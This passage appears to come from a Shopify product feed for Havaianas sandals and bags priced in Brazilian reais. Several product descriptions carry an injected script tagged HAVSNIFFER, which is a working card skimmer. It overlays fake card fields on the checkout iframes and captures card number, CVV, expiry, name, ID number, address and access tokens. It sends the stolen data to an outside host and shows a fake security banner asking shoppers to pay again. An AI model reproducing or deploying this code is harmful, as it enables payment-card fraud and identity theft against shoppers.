\\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003e\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Verde Oliva \/ 37\/38","offer_id":46311501168897,"sku":"4150268_2945_378","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Verde Oliva \/ 39\/40","offer_id":46311501201665,"sku":"4150268_2945_390","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Verde Oliva \/ 41\/42","offer_id":46311501234433,"sku":"4150268_2945_412","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Verde Oliva \/ 43\/44","offer_id":46311501267201,"sku":"4150268_2945_434","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Verde Oliva \/ 45\/46","offer_id":46311501299969,"sku":"4150268_2945_456","price":59.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4150268-2945-city-basic-0.png?v=1747768004"},{"product_id":"chinelo-havaianas-city-basic-4150268_2951","title":"Chinelo Havaianas City Basic","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003e\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Dourado \/ 37\/38","offer_id":46311501431041,"sku":"4150268_2951_378","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Dourado \/ 39\/40","offer_id":46311501463809,"sku":"4150268_2951_390","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Dourado \/ 41\/42","offer_id":46311501496577,"sku":"4150268_2951_412","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Dourado \/ 43\/44","offer_id":46311501529345,"sku":"4150268_2951_434","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Dourado \/ 45\/46","offer_id":46311501562113,"sku":"4150268_2951_456","price":59.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4150268-2951-city-basic-0.png?v=1747767881"},{"product_id":"necessaire-havaianas-4150271_4896","title":"Necessaire Havaianas","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003e\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Verde Oliva \/ Único","offer_id":46311501922561,"sku":"4150271_4896_998","price":119.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4150271-4896-travel-necessaire-0.png?v=1747768736"},{"product_id":"shoulder-bag-havaianas-color-ii-4150272_0727","title":"Shoulder Bag Havaianas Color II","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value 